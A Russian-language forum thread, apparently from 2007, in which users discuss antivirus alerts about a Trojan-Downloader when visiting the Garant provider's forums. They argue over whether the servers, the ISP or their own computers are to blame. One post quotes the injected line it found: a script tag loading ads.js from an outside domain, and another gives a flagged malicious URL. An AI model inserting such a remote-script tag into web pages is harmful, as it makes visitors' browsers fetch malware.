Вирус при входе на локальные форумы

Aquarius.70,
Не всегда находит вирей, и анализ файлов слабее чем у каспера, хотя на дрова от принтера в своё время Др.Веб хорошо ругался)))

 

У меня так код начинается:

Телнет:

А вообще, у кого вирусы, отпарсите плиз параметры HTTP, которые ваша опера отсылает на сервер, и дайте их мне...

 

Ты давай не умничай
пальцем ткни чё сделать

 

эээ... кто нибудь другой это сможет объяснить гораздо лучше меня.
в общем как застанешь меня в ирке во время воплей каспера - стучись.

 

у меня доктор веб ничо ненаходил и не находит
базы обнавлял тока вчера

 

Опять сегодня 11.12.2007 21:07:37 Вредоносный HTTP-объект <http://union.222360.com/ads.js//JSPack>: обнаружено: троянская программа 'Trojan-Downloader.JS.Psyme.vy'.

 

ВИРУС на Официальном форуме

Внимание на официальном форуме http://forum.garanta.ru/ ВИРУС ! обнаружено: троянская программа Trojan-Downloader.JS.Small

Ответ:

Специально поглядел логи на неоффе. Там нет и не было никаких вирусов.
В чем проблема не знаю.. Пообщаюсь с ребятами с каспера.. Мож подскажут что..
ЗЫЖ сам такого не видел ни разу. Ни на оффе, ни на неоффе..

Это много что объяснило-бы... Но есть одно но...
На IOS я например не знаю ни одного вируса..

Вот чего нарыл:

Вот тут еще.

Вобщем болеет кто-то в сети.. Сервера тут ни причем.

Сообщение отредактированно для закрепления на верху.

 

Судя по всему - вирус у тебя.
Такое уже было с неофф форумом.
У меня например все чисто на официальном..
Антивир - Outpost Security Suite
У кого еще проявиться - отписывайте сюда.

 

Да он там давно уже живёт
Я просто сообщения отключил и всё, а то надоедает визг каспера )))

 

mixan,
есть они
только хитрые
просто прописываются в html код страницы в виде ссылки обычно java
ведущие на страницу с вирусом
соответсвенно когда открываешь неофффорум браузер чесно выполняет что прописано в html и стучиться на страницу с вирусом
вопрос в том на каком этапе идет добавление этой сссылки в код.

зы и появляется это как то эпизодически

 

у меня аваст несколько раз в день ругается.....я уже перестал обращать внимание..

 

Обновил NOD 32 тоже начал ругаться!!!!!

 

вот опять
в начале страницы
<SCRIPT LANGUAGE="javascript1.2" SRC="http://g.asdafdgfgf.com/ads.js"></SCRIPT>

 

вот только интересно почему админы это допускают?

 

да в гаранте много чего удивляет, привыкай

 

вот по этому ставлю себе еще один канал интернета другого провайдера

 

Вот ни разу не видел... и код проверял.. Нету!!
У Тимсона есть, у меня в тот-же момент - абсолютно чистый код страницы..

 

mixan,
наверное касперыч сам добавляет и сам же ловит чтоб показать что арбайтан

 

предложи механизм отлова и глори с удовольствием его применит

 

Значит Каспер у меня никогда не работал...
Когда стоял он - ни разу ни на офф ни на неофф не ругнулся...
На сервере тож каспером ловили - нету...